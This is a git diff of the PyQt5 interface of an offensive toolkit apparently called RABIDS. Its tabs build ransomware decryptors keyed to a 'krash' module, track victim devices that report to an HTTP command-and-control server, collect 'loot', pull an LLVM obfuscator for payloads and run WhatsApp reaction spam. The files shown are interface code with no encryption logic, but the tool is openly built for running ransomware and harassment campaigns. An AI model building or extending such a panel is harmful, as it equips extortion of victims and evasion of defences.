desc_label.setFont(subtitle_font)
|
||||
desc_label.setStyleSheet("color: #909090;")
|
||||
desc_label.setWordWrap(True)
|
||||
restore_options_layout.addWidget(desc_label)
|
||||
|
||||
# Dumpster file path
|
||||
dumpster_file_label = QLabel("Dumpster File Path")
|
||||
dumpster_file_label.setFont(subtitle_font)
|
||||
dumpster_file_label.setStyleSheet("color: #b0b0b0;")
|
||||
dumpster_file_layout = QHBoxLayout()
|
||||
self.dumpster_file_edit = QLineEdit()
|
||||
dumpster_file_btn = QPushButton("Browse...")
|
||||
dumpster_file_btn.clicked.connect(self.browse_dumpster_file)
|
||||
dumpster_file_layout.addWidget(dumpster_file_label)
|
||||
dumpster_file_layout.addWidget(self.dumpster_file_edit)
|
||||
dumpster_file_layout.addWidget(dumpster_file_btn)
|
||||
restore_options_layout.addLayout(dumpster_file_layout)
|
||||
|
||||
# Output directory
|
||||
output_dir_label = QLabel("Destination Directory")
|
||||
output_dir_label.setFont(subtitle_font)
|
||||
output_dir_label.setStyleSheet("color: #b0b0b0;")
|
||||
output_dir_layout = QHBoxLayout()
|
||||
self.output_dir_edit = QLineEdit()
|
||||
output_dir_btn = QPushButton("Browse...")
|
||||
output_dir_btn.clicked.connect(self.browse_output_directory)
|
||||
output_dir_layout.addWidget(output_dir_label)
|
||||
output_dir_layout.addWidget(self.output_dir_edit)
|
||||
output_dir_layout.addWidget(output_dir_btn)
|
||||
restore_options_layout.addLayout(output_dir_layout)
|
||||
|
||||
restore_btn = QPushButton("Restore")
|
||||
restore_btn.setFont(subtitle_font)
|
||||
restore_btn.clicked.connect(self.on_restore_clicked)
|
||||
restore_options_layout.addWidget(restore_btn)
|
||||
restore_options_layout.addStretch()
|
||||
top_layout.addWidget(restore_options_group, 7)
|
||||
|
||||
# Bottom section - destination files list
|
||||
bottom_widget = QWidget()
|
||||
bottom_layout = QVBoxLayout(bottom_widget)
|
||||
|
||||
dest_folder_group = QGroupBox()
|
||||
dest_folder_layout = QVBoxLayout(dest_folder_group)
|
||||
|
||||
dest_header_layout = QHBoxLayout()
|
||||
refresh_dest_btn = QPushButton("⟳ Refresh")
|
||||
refresh_dest_btn.clicked.connect(self.update_destination_view)
|
||||
dest_header_layout.addWidget(refresh_dest_btn, 0, Qt.AlignRight)
|
||||
dest_folder_layout.addLayout(dest_header_layout)
|
||||
|
||||
self.dest_files_list = QListWidget()
|
||||
self.dest_files_list.setFont(subtitle_font)
|
||||
self.dest_files_list.setStyleSheet("background-color: #0e0e0e;")
|
||||
dest_folder_layout.addWidget(self.dest_files_list)
|
||||
bottom_layout.addWidget(dest_folder_group)
|
||||
|
||||
layout.addWidget(top_widget, 4)
|
||||
layout.addWidget(bottom_widget, 6)
|
||||
|
||||
def browse_dumpster_file(self):
|
||||
file_path, _ = QFileDialog.getOpenFileName(self, "Open Dumpster File", "", "All Files (*)")
|
||||
if file_path:
|
||||
home_path = str(Path.home())
|
||||
if file_path.startswith(home_path):
|
||||
self.dumpster_file_edit.setText(file_path.replace(home_path, "$HOME", 1))
|
||||
else:
|
||||
self.dumpster_file_edit.setText(file_path)
|
||||
|
||||
def browse_output_directory(self):
|
||||
directory = QFileDialog.getExistingDirectory(self, "Select Directory")
|
||||
if directory:
|
||||
home_path = str(Path.home())
|
||||
if directory.startswith(home_path):
|
||||
directory = directory.replace(home_path, "$HOME", 1)
|
||||
self.output_dir_edit.setText(directory)
|
||||
|
||||
def on_restore_clicked(self):
|
||||
dumpster_file = self.dumpster_file_edit.text()
|
||||
output_dir = self.output_dir_edit.text()
|
||||
self.restore_requested.emit(dumpster_file, output_dir)
|
||||
|
||||
def show_loading_view(self):
|
||||
self.dest_files_list.clear()
|
||||
icon_label = QLabel()
|
||||
icon_path = os.path.join(self.script_dir, "ASSETS", "garbage.png")
|
||||
pixmap = QPixmap(icon_path)
|
||||
if not pixmap.isNull():
|
||||
icon_label.setPixmap(pixmap.scaled(300, 300, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||
else:
|
||||
icon_label.setText("Restoring...")
|
||||
list_item = QListWidgetItem()
|
||||
list_widget = QWidget()
|
||||
layout = QHBoxLayout(list_widget)
|
||||
layout.addWidget(icon_label)
|
||||
layout.setAlignment(Qt.AlignCenter)
|
||||
list_item.setSizeHint(list_widget.sizeHint())
|
||||
self.dest_files_list.addItem(list_item)
|
||||
self.dest_files_list.setItemWidget(list_item, list_widget)
|
||||
QApplication.processEvents()
|
||||
|
||||
def clear_loading_view(self):
|
||||
for i in reversed(range(self.dest_files_list.count())):
|
||||
item = self.dest_files_list.takeItem(i)
|
||||
del item
|
||||
self.dest_files_list.clear()
|
||||
QApplication.processEvents()
|
||||
|
||||
def update_destination_view(self):
|
||||
self.clear_loading_view()
|
||||
self.dest_files_list.clear()
|
||||
dest_dir_str = self.output_dir_edit.text()
|
||||
if not dest_dir_str:
|
||||
self.dest_files_list.addItem("Select a destination directory to see its contents.")
|
||||
return
|
||||
|
||||
dest_dir = Path(dest_dir_str.replace("$HOME", str(Path.home())))
|
||||
if not dest_dir.is_dir():
|
||||
self.dest_files_list.addItem(f"Directory does not exist: {dest_dir}")
|
||||
return
|
||||
try:
|
||||
files = list(dest_dir.iterdir())
|
||||
if not files:
|
||||
self.dest_files_list.addItem("Destination directory is empty.")
|
||||
return
|
||||
for item_path in sorted(files):
|
||||
self.dest_files_list.addItem(QListWidgetItem(item_path.name))
|
||||
except Exception as e:
|
||||
self.dest_files_list.addItem(f"Error reading directory: {e}")
|
||||
|
||||
def get_settings(self):
|
||||
return {
|
||||
'dumpster_file': self.dumpster_file_edit.text(),
|
||||
'output_dir': self.output_dir_edit.text()
|
||||
}
|
||||
|
||||
def load_settings(self, settings):
|
||||
self.dumpster_file_edit.setText(settings.get('dumpster_file', ''))
|
||||
self.output_dir_edit.setText(settings.get('output_dir', ''))
|
||||
1
TABS/krash/__init__.py
Normal file
1
TABS/krash/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .krash import KrashWidget
|
||||
208
TABS/krash/krash.py
Normal file
208
TABS/krash/krash.py
Normal file
@ -0,0 +1,208 @@
|
||||
import os
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
|
||||
QComboBox, QLabel, QGroupBox, QTableWidget, QTableWidgetItem, QHeaderView
|
||||
)
|
||||
from PyQt5.QtGui import QFont, QPixmap
|
||||
from PyQt5.QtCore import Qt, pyqtSignal
|
||||
|
||||
|
||||
class KrashWidget(QWidget):
|
||||
"""KRASH/Decryptor tab widget."""
|
||||
|
||||
build_decryptor_requested = pyqtSignal(dict)
|
||||
listener_toggle_requested = pyqtSignal()
|
||||
listener_refresh_requested = pyqtSignal()
|
||||
|
||||
def __init__(self, script_dir, parent=None):
|
||||
super().__init__(parent)
|
||||
self.script_dir = script_dir
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
layout = QVBoxLayout(self)
|
||||
layout.setContentsMargins(15, 15, 15, 15)
|
||||
layout.setSpacing(15)
|
||||
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(9)
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
|
||||
# Decryptor options
|
||||
options_group = QGroupBox("DECRYPTOR")
|
||||
options_group.setFont(title_font)
|
||||
options_layout = QVBoxLayout(options_group)
|
||||
|
||||
desc_label = QLabel("Build a standalone decryptor for files encrypted by the 'krash' module.\nEnsure the Key and IV match the ones used for encryption.")
|
||||
desc_label.setFont(subtitle_font)
|
||||
desc_label.setStyleSheet("color: #909090;")
|
||||
desc_label.setWordWrap(True)
|
||||
options_layout.addWidget(desc_label)
|
||||
options_layout.addSpacing(10)
|
||||
|
||||
# Key
|
||||
key_layout = QHBoxLayout()
|
||||
key_label = QLabel("Key")
|
||||
key_label.setFont(subtitle_font)
|
||||
key_label.setStyleSheet("color: #b0b0b0;")
|
||||
self.key_edit = QLineEdit("0123456789abcdef0123456789abcdef")
|
||||
self.key_edit.setFont(subtitle_font)
|
||||
key_layout.addWidget(key_label)
|
||||
key_layout.addWidget(self.key_edit)
|
||||
options_layout.addLayout(key_layout)
|
||||
|
||||
# IV
|
||||
iv_layout = QHBoxLayout()
|
||||
iv_label = QLabel("IV")
|
||||
iv_label.setFont(subtitle_font)
|
||||
iv_label.setStyleSheet("color: #b0b0b0;")
|
||||
self.iv_edit = QLineEdit("abcdef9876543210")
|
||||
self.iv_edit.setFont(subtitle_font)
|
||||
iv_layout.addWidget(iv_label)
|
||||
iv_layout.addWidget(self.iv_edit)
|
||||
options_layout.addLayout(iv_layout)
|
||||
|
||||
# Extension
|
||||
ext_layout = QHBoxLayout()
|
||||
ext_label = QLabel("Extension")
|
||||
ext_label.setFont(subtitle_font)
|
||||
ext_label.setStyleSheet("color: #b0b0b0;")
|
||||
self.ext_edit = QLineEdit(".locked")
|
||||
self.ext_edit.setFont(subtitle_font)
|
||||
ext_layout.addWidget(ext_label)
|
||||
ext_layout.addWidget(self.ext_edit)
|
||||
options_layout.addLayout(ext_layout)
|
||||
|
||||
# Build options
|
||||
build_options_layout = QHBoxLayout()
|
||||
exe_label = QLabel("EXE Name")
|
||||
exe_label.setFont(subtitle_font)
|
||||
exe_label.setStyleSheet("color: #b0b0b0;")
|
||||
self.exe_name_edit = QLineEdit("decryptor")
|
||||
|
||||
os_label = QLabel("OS")
|
||||
os_label.setFont(subtitle_font)
|
||||
self.os_combo = QComboBox()
|
||||
self.os_combo.addItems(["windows", "linux", "macos"])
|
||||
|
||||
arch_label = QLabel("Processor")
|
||||
arch_label.setFont(subtitle_font)
|
||||
self.arch_combo = QComboBox()
|
||||
self.arch_combo.addItems(["amd64", "arm64"])
|
||||
|
||||
build_options_layout.addWidget(exe_label)
|
||||
build_options_layout.addWidget(self.exe_name_edit, 1)
|
||||
build_options_layout.addWidget(os_label)
|
||||
build_options_layout.addWidget(self.os_combo, 1)
|
||||
build_options_layout.addWidget(arch_label)
|
||||
build_options_layout.addWidget(self.arch_combo, 1)
|
||||
options_layout.addLayout(build_options_layout)
|
||||
|
||||
self.build_btn = QPushButton("BUILD DECRYPTOR")
|
||||
self.build_btn.setFont(subtitle_font)
|
||||
self.build_btn.clicked.connect(self.on_build_clicked)
|
||||
options_layout.addWidget(self.build_btn)
|
||||
|
||||
options_layout.addStretch()
|
||||
layout.addWidget(options_group)
|
||||
|
||||
# Bottom section
|
||||
bottom_section_layout = QHBoxLayout()
|
||||
|
||||
# Left column - Live encrypted devices
|
||||
left_column_widget = QWidget()
|
||||
left_column_layout = QVBoxLayout(left_column_widget)
|
||||
|
||||
devices_header_layout = QHBoxLayout()
|
||||
encrypted_devices_label = QLabel("LIVE ENCRYPTED DEVICES")
|
||||
encrypted_devices_label.setFont(title_font)
|
||||
devices_header_layout.addWidget(encrypted_devices_label)
|
||||
devices_header_layout.addStretch()
|
||||
left_column_layout.addLayout(devices_header_layout)
|
||||
|
||||
live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n"
|
||||
"Devices report back via HTTP server.")
|
||||
live_devices_desc_label.setFont(subtitle_font)
|
||||
live_devices_desc_label.setStyleSheet("color: #707070;")
|
||||
live_devices_desc_label.setWordWrap(True)
|
||||
left_column_layout.addWidget(live_devices_desc_label)
|
||||
|
||||
listener_controls_layout = QHBoxLayout()
|
||||
self.toggle_listener_btn = QPushButton("Connect")
|
||||
self.toggle_listener_btn.setFont(subtitle_font)
|
||||
self.toggle_listener_btn.clicked.connect(self.listener_toggle_requested.emit)
|
||||
|
||||
self.refresh_listener_btn = QPushButton("⟳ Refresh")
|
||||
self.refresh_listener_btn.setFont(subtitle_font)
|
||||
self.refresh_listener_btn.clicked.connect(self.listener_refresh_requested.emit)
|
||||
|
||||
listener_controls_layout.addStretch()
|
||||
listener_controls_layout.addWidget(self.refresh_listener_btn)
|
||||
listener_controls_layout.addWidget(self.toggle_listener_btn)
|
||||
left_column_layout.addLayout(listener_controls_layout)
|
||||
|
||||
self.encrypted_devices_table = QTableWidget()
|
||||
self.encrypted_devices_table.setColumnCount(1)
|
||||
self.encrypted_devices_table.setHorizontalHeaderLabels(["Device"])
|
||||
self.encrypted_devices_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
|
||||
left_column_layout.addWidget(self.encrypted_devices_table)
|
||||
|
||||
# Right column - Image
|
||||
image_label = QLabel()
|
||||
image_path = os.path.join(self.script_dir, "ASSETS", "unkrash.png")
|
||||
pixmap = QPixmap(image_path)
|
||||
if not pixmap.isNull():
|
||||
image_label.setPixmap(pixmap.scaled(400, 400, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||
image_label.setAlignment(Qt.AlignCenter)
|
||||
|
||||
bottom_section_layout.addWidget(left_column_widget, 6)
|
||||
bottom_section_layout.addWidget(image_label, 4)
|
||||
|
||||
layout.addLayout(bottom_section_layout)
|
||||
|
||||
def on_build_clicked(self):
|
||||
config = {
|
||||
'key': self.key_edit.text(),
|
||||
'iv': self.iv_edit.text(),
|
||||
'extension': self.ext_edit.text(),
|
||||
'exe_name': self.exe_name_edit.text(),
|
||||
'os': self.os_combo.currentText(),
|
||||
'arch': self.arch_combo.currentText()
|
||||
}
|
||||
self.build_decryptor_requested.emit(config)
|
||||
|
||||
def update_device_status(self, hostname, status):
|
||||
for row in range(self.encrypted_devices_table.rowCount()):
|
||||
item = self.encrypted_devices_table.item(row, 0)
|
||||
if item and item.text() == hostname:
|
||||
if status == "Decrypted":
|
||||
self.encrypted_devices_table.removeRow(row)
|
||||
return
|
||||
|
||||
if status == "Encrypted":
|
||||
row_position = self.encrypted_devices_table.rowCount()
|
||||
self.encrypted_devices_table.insertRow(row_position)
|
||||
self.encrypted_devices_table.setItem(row_position, 0, QTableWidgetItem(hostname))
|
||||
|
||||
def set_listener_connected(self, is_connected):
|
||||
self.toggle_listener_btn.setText("Disconnect" if is_connected else "Connect")
|
||||
|
||||
def get_settings(self):
|
||||
return {
|
||||
'key': self.key_edit.text(),
|
||||
'iv': self.iv_edit.text(),
|
||||
'extension': self.ext_edit.text(),
|
||||
'exe_name': self.exe_name_edit.text(),
|
||||
'os': self.os_combo.currentText(),
|
||||
'arch': self.arch_combo.currentText()
|
||||
}
|
||||
|
||||
def load_settings(self, settings):
|
||||
self.key_edit.setText(settings.get('key', ''))
|
||||
self.iv_edit.setText(settings.get('iv', ''))
|
||||
self.ext_edit.setText(settings.get('extension', '.locked'))
|
||||
self.exe_name_edit.setText(settings.get('exe_name', 'decryptor'))
|
||||
self.os_combo.setCurrentText(settings.get('os', 'windows'))
|
||||
self.arch_combo.setCurrentText(settings.get('arch', 'amd64'))
|
||||
1
TABS/output/__init__.py
Normal file
1
TABS/output/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .output import OutputWidget
|
||||
132
TABS/output/output.py
Normal file
132
TABS/output/output.py
Normal file
@ -0,0 +1,132 @@
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QTextEdit,
|
||||
QLabel, QListWidget, QListWidgetItem
|
||||
)
|
||||
from PyQt5.QtGui import QFont, QPixmap
|
||||
from PyQt5.QtCore import Qt, pyqtSignal
|
||||
|
||||
|
||||
class OutputWidget(QWidget):
|
||||
"""Output tab widget for displaying build logs and loot files."""
|
||||
|
||||
def __init__(self, script_dir, parent=None):
|
||||
super().__init__(parent)
|
||||
self.script_dir = script_dir
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
layout = QVBoxLayout(self)
|
||||
layout.setContentsMargins(15, 15, 15, 15)
|
||||
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(9)
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
|
||||
# Output log
|
||||
self.output_log = QTextEdit()
|
||||
self.output_log.setFont(subtitle_font)
|
||||
self.output_log.setReadOnly(True)
|
||||
self.output_log.setPlaceholderText("")
|
||||
self.output_log.setStyleSheet("background-color: #0e0e0e; color: #909090;")
|
||||
layout.addWidget(self.output_log, 3)
|
||||
|
||||
# Loot section
|
||||
loot_section_layout = QHBoxLayout()
|
||||
|
||||
folder_icon_label = QLabel()
|
||||
folder_icon_path = os.path.join(self.script_dir, "ASSETS", "folder.png")
|
||||
pixmap = QPixmap(folder_icon_path)
|
||||
if not pixmap.isNull():
|
||||
folder_icon_label.setPixmap(pixmap.scaled(200, 200, Qt.KeepAspectRatio, Qt.SmoothTransformation))
|
||||
folder_icon_label.setAlignment(Qt.AlignCenter)
|
||||
loot_section_layout.addWidget(folder_icon_label, 2)
|
||||
|
||||
loot_content_widget = QWidget()
|
||||
loot_content_layout = QVBoxLayout(loot_content_widget)
|
||||
loot_content_layout.setContentsMargins(0, 0, 0, 0)
|
||||
|
||||
loot_header_layout = QHBoxLayout()
|
||||
loot_label = QLabel("LOOT")
|
||||
loot_label.setFont(title_font)
|
||||
loot_header_layout.addWidget(loot_label)
|
||||
loot_header_layout.addStretch()
|
||||
|
||||
refresh_loot_btn = QPushButton("⟳ Refresh")
|
||||
refresh_loot_btn.clicked.connect(self.update_loot_folder_view)
|
||||
loot_header_layout.addWidget(refresh_loot_btn)
|
||||
|
||||
open_loot_btn = QPushButton("Open Folder")
|
||||
open_loot_btn.clicked.connect(self.open_loot_folder)
|
||||
loot_header_layout.addWidget(open_loot_btn)
|
||||
loot_content_layout.addLayout(loot_header_layout)
|
||||
|
||||
self.loot_files_list = QListWidget()
|
||||
self.loot_files_list.setFont(subtitle_font)
|
||||
self.loot_files_list.setStyleSheet("background-color: #0e0e0e;")
|
||||
loot_content_layout.addWidget(self.loot_files_list)
|
||||
|
||||
loot_section_layout.addWidget(loot_content_widget, 8)
|
||||
layout.addLayout(loot_section_layout, 1)
|
||||
|
||||
self.update_loot_folder_view()
|
||||
|
||||
def log_message(self, message, msg_type="system"):
|
||||
if msg_type == "error":
|
||||
color = "#808080"
|
||||
elif msg_type == "success":
|
||||
color = "#ffffff"
|
||||
elif msg_type == "system":
|
||||
color = "#a0a0a0"
|
||||
else:
|
||||
color = "#c0c0c0"
|
||||
|
||||
if msg_type == "c2_sent":
|
||||
color = "#d0d0d0"
|
||||
elif msg_type == "c2_recv":
|
||||
color = "#ffffff"
|
||||
|
||||
if not message.strip():
|
||||
return
|
||||
|
||||
self.output_log.append(f'<font color="{color}">{message}</font>')
|
||||
|
||||
def clear_log(self):
|
||||
self.output_log.clear()
|
||||
|
||||
def open_loot_folder(self):
|
||||
loot_dir = Path(self.script_dir) / 'LOOT'
|
||||
if not loot_dir.is_dir():
|
||||
self.log_message(f"loot directory not found: {loot_dir}", "error")
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
self.log_message(f"created loot directory: {loot_dir}", "system")
|
||||
|
||||
if sys.platform == "win32":
|
||||
os.startfile(loot_dir)
|
||||
elif sys.platform == "darwin":
|
||||
subprocess.Popen(["open", str(loot_dir)])
|
||||
else:
|
||||
subprocess.Popen(["xdg-open", str(loot_dir)])
|
||||
self.update_loot_folder_view()
|
||||
|
||||
def update_loot_folder_view(self):
|
||||
self.loot_files_list.clear()
|
||||
loot_dir = Path(self.script_dir) / 'LOOT'
|
||||
if not loot_dir.is_dir():
|
||||
self.loot_files_list.addItem("loot directory not found")
|
||||
return
|
||||
try:
|
||||
files = [f for f in loot_dir.iterdir() if f.is_file()]
|
||||
if not files:
|
||||
self.loot_files_list.addItem("loot directory is empty")
|
||||
return
|
||||
|
||||
for file_path in sorted(files, key=os.path.getmtime, reverse=True):
|
||||
self.loot_files_list.addItem(QListWidgetItem(file_path.name))
|
||||
except Exception as e:
|
||||
self.loot_files_list.addItem(f"Error reading LOOT directory: {e}")
|
||||
1
TABS/settings/__init__.py
Normal file
1
TABS/settings/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .settings import SettingsWidget
|
||||
150
TABS/settings/settings.py
Normal file
150
TABS/settings/settings.py
Normal file
@ -0,0 +1,150 @@
|
||||
import sys
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
|
||||
QLabel, QGroupBox
|
||||
)
|
||||
from PyQt5.QtGui import QFont
|
||||
from PyQt5.QtCore import pyqtSignal
|
||||
|
||||
|
||||
class SettingsWidget(QWidget):
|
||||
"""Settings tab widget."""
|
||||
|
||||
save_requested = pyqtSignal()
|
||||
install_nim_tool_requested = pyqtSignal()
|
||||
install_rust_tool_requested = pyqtSignal()
|
||||
install_python_requested = pyqtSignal()
|
||||
install_nimble_requested = pyqtSignal()
|
||||
install_rust_targets_requested = pyqtSignal()
|
||||
install_docker_requested = pyqtSignal()
|
||||
|
||||
def __init__(self, script_dir, parent=None):
|
||||
super().__init__(parent)
|
||||
self.script_dir = script_dir
|
||||
self.installer_buttons = []
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
layout = QVBoxLayout(self)
|
||||
layout.setContentsMargins(0, 15, 0, 15)
|
||||
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(9)
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(9)
|
||||
|
||||
def create_setting_layout(label_text, input_widget, description_text):
|
||||
setting_layout = QVBoxLayout()
|
||||
label_layout = QHBoxLayout()
|
||||
label = QLabel(label_text)
|
||||
label.setFont(subtitle_font)
|
||||
desc_label = QLabel(description_text)
|
||||
desc_label.setFont(QFont("Arial", 8))
|
||||
desc_label.setStyleSheet("color: #808080;")
|
||||
desc_label.setWordWrap(True)
|
||||
setting_layout.setContentsMargins(15, 0, 15, 0)
|
||||
label_layout.addWidget(label)
|
||||
setting_layout.addLayout(label_layout)
|
||||
setting_layout.addWidget(input_widget)
|
||||
setting_layout.addWidget(desc_label)
|
||||
setting_layout.addSpacing(10)
|
||||
return setting_layout
|
||||
|
||||
# Server URL
|
||||
server_url_label = QLabel("HTTP Server URL")
|
||||
self.server_url_edit = QLineEdit()
|
||||
server_url_desc = "The URL of your HTTP C2 server. Example: http://your-server.com:8080"
|
||||
server_url_layout = create_setting_layout(server_url_label.text(), self.server_url_edit, server_url_desc)
|
||||
layout.addLayout(server_url_layout)
|
||||
|
||||
layout.addSpacing(20)
|
||||
|
||||
# Dependency Installation
|
||||
installer_group = QGroupBox("Dependency Installation")
|
||||
installer_group.setFont(title_font)
|
||||
installer_layout = QVBoxLayout(installer_group)
|
||||
installer_layout.setContentsMargins(15, 0, 15, 0)
|
||||
|
||||
installer_desc = QLabel("Install the core compilers and their required packages. It is recommended to run these in order.")
|
||||
installer_desc.setFont(subtitle_font)
|
||||
installer_desc.setWordWrap(True)
|
||||
installer_layout.addWidget(installer_desc)
|
||||
|
||||
self.install_nim_tool_btn = QPushButton("Install Nim")
|
||||
self.install_nim_tool_btn.clicked.connect(self.install_nim_tool_requested.emit)
|
||||
installer_layout.addWidget(self.install_nim_tool_btn)
|
||||
|
||||
self.install_rust_tool_btn = QPushButton("Install Rust")
|
||||
self.install_rust_tool_btn.clicked.connect(self.install_rust_tool_requested.emit)
|
||||
installer_layout.addWidget(self.install_rust_tool_btn)
|
||||
|
||||
self.install_py_btn = QPushButton("Install Python Packages")
|
||||
self.install_py_btn.clicked.connect(self.install_python_requested.emit)
|
||||
installer_layout.addWidget(self.install_py_btn)
|
||||
|
||||
self.install_nim_btn = QPushButton("Install Nimble Packages")
|
||||
self.install_nim_btn.clicked.connect(self.install_nimble_requested.emit)
|
||||
installer_layout.addWidget(self.install_nim_btn)
|
||||
|
||||
openssl_note = QLabel('For Windows, if the Nim build fails with SSL errors, you may need to manually download OpenSSL from <a href="https://openssl-library.org/source/">https://openssl-library.org/source/</a>')
|
||||
openssl_note.setOpenExternalLinks(True)
|
||||
openssl_note.setFont(QFont("Arial", 8))
|
||||
openssl_note.setStyleSheet("color: #808080;")
|
||||
openssl_note.setWordWrap(True)
|
||||
installer_layout.addWidget(openssl_note)
|
||||
|
||||
self.install_rust_btn = QPushButton("Install Rust Targets")
|
||||
self.install_rust_btn.clicked.connect(self.install_rust_targets_requested.emit)
|
||||
installer_layout.addWidget(self.install_rust_btn)
|
||||
|
||||
# Docker group
|
||||
docker_group = QGroupBox("Obfuscation Dependencies (Optional)")
|
||||
docker_group.setFont(title_font)
|
||||
docker_layout = QVBoxLayout(docker_group)
|
||||
docker_layout.setContentsMargins(0, 0, 0, 0)
|
||||
|
||||
docker_desc = QLabel("The obfuscation feature requires Docker. This will pull the large Obfuscator-LLVM image from the container registry.")
|
||||
docker_desc.setFont(subtitle_font)
|
||||
docker_desc.setWordWrap(True)
|
||||
docker_layout.addWidget(docker_desc)
|
||||
|
||||
self.install_docker_btn = QPushButton("Pull Docker Image")
|
||||
self.install_docker_btn.clicked.connect(self.install_docker_requested.emit)
|
||||
docker_layout.addWidget(self.install_docker_btn)
|
||||
|
||||
installer_layout.addWidget(docker_group)
|
||||
|
||||
self.installer_buttons = [
|
||||
self.install_nim_tool_btn,
|
||||
self.install_rust_tool_btn,
|
||||
self.install_py_btn,
|
||||
self.install_nim_btn,
|
||||
self.install_rust_btn,
|
||||
self.install_docker_btn
|
||||
]
|
||||
|
||||
layout.addWidget(installer_group)
|
||||
layout.addStretch()
|
||||
|
||||
# Save button
|
||||
save_settings_btn = QPushButton("Save Settings")
|
||||
save_settings_btn.setFont(subtitle_font)
|
||||
save_settings_btn.clicked.connect(self.save_requested.emit)
|
||||
save_btn_container = QWidget()
|
||||
save_btn_layout = QHBoxLayout(save_btn_container)
|
||||
save_btn_layout.setContentsMargins(15, 0, 15, 0)
|
||||
save_btn_layout.addWidget(save_settings_btn)
|
||||
layout.addWidget(save_btn_container)
|
||||
|
||||
def set_installer_buttons_enabled(self, enabled):
|
||||
for btn in self.installer_buttons:
|
||||
btn.setEnabled(enabled)
|
||||
|
||||
def get_settings(self):
|
||||
return {
|
||||
'server_url': self.server_url_edit.text()
|
||||
}
|
||||
|
||||
def load_settings(self, settings):
|
||||
self.server_url_edit.setText(settings.get('server_url', 'http://localhost:8080'))
|
||||
1
TABS/whispers/__init__.py
Normal file
1
TABS/whispers/__init__.py
Normal file
@ -0,0 +1 @@
|
||||
from .whispers import SilentWhispersWidget
|
||||
@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "rabids-whatsapp-bridge",
|
||||
"version": "1.0.0",
|
||||
"description": "WhatsApp Web bridge for RABIDS Silent Whispers",
|
||||
"description": "WhatsApp Web bridge for RABIDS whispers",
|
||||
"main": "whatsapp_bridge.js",
|
||||
"dependencies": {
|
||||
"whatsapp-web.js": "^1.23.0",
|
||||
|
||||
@ -173,9 +173,9 @@ class SilentWhispersWidget(QWidget):
|
||||
main_layout.setSpacing(10)
|
||||
title_font = QFont()
|
||||
title_font.setBold(True)
|
||||
title_font.setPointSize(12)
|
||||
title_font.setPointSize(9)
|
||||
subtitle_font = QFont()
|
||||
subtitle_font.setPointSize(10)
|
||||
subtitle_font.setPointSize(9)
|
||||
top_section = QHBoxLayout()
|
||||
top_section.setSpacing(15)
|
||||
qr_container = QVBoxLayout()
|
||||
@ -185,11 +185,11 @@ class SilentWhispersWidget(QWidget):
|
||||
self.qr_label.setFixedSize(160, 160)
|
||||
self.qr_label.setStyleSheet("""
|
||||
QLabel {
|
||||
border: 1px solid #2a2a2e;
|
||||
border-radius: 10px;
|
||||
background-color: #1D1D1F;
|
||||
color: #666;
|
||||
font-size: 11px;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 4px;
|
||||
background-color: #141414;
|
||||
color: #606060;
|
||||
font-size: 9pt;
|
||||
}
|
||||
""")
|
||||
qr_container.addWidget(self.qr_label)
|
||||
@ -200,7 +200,7 @@ class SilentWhispersWidget(QWidget):
|
||||
qr_container.addWidget(self.wa_web_btn)
|
||||
self.wa_web_status = QLabel("Disconnected")
|
||||
self.wa_web_status.setAlignment(Qt.AlignCenter)
|
||||
self.wa_web_status.setStyleSheet("color: #FF3B30; font-size: 10px;")
|
||||
self.wa_web_status.setStyleSheet("color: #808080; font-size: 9pt;")
|
||||
qr_container.addWidget(self.wa_web_status)
|
||||
top_section.addLayout(qr_container)
|
||||
controls_container = QVBoxLayout()
|
||||
@ -231,13 +231,14 @@ class SilentWhispersWidget(QWidget):
|
||||
self.spam_btn.clicked.connect(self.start_reaction_spam)
|
||||
self.spam_btn.setStyleSheet("""
|
||||
QPushButton {
|
||||
background-color: #34C759;
|
||||
color: white;
|
||||
border-radius: 10px;
|
||||
padding: 8px;
|
||||
background-color: #ffffff;
|
||||
color: #0a0a0a;
|
||||
border-radius: 4px;
|
||||
padding: 6px 12px;
|
||||
font-weight: bold;
|
||||
}
|
||||
QPushButton:hover { background-color: #2DB84D; }
|
||||
QPushButton:disabled { background-color: #1D1D1F; color: #555; }
|
||||
QPushButton:hover { background-color: #e0e0e0; }
|
||||
QPushButton:disabled { background-color: #1a1a1a; color: #555; }
|
||||
""")
|
||||
btn_row.addWidget(self.spam_btn)
|
||||
self.stop_spam_btn = QPushButton("STOP SPAM")
|
||||
@ -246,13 +247,13 @@ class SilentWhispersWidget(QWidget):
|
||||
self.stop_spam_btn.setEnabled(False)
|
||||
self.stop_spam_btn.setStyleSheet("""
|
||||
QPushButton {
|
||||
background-color: #FF3B30;
|
||||
color: white;
|
||||
border-radius: 10px;
|
||||
padding: 8px;
|
||||
background-color: #303030;
|
||||
color: #d0d0d0;
|
||||
border-radius: 4px;
|
||||
padding: 6px 12px;
|
||||
}
|
||||
QPushButton:hover { background-color: #E0342B; }
|
||||
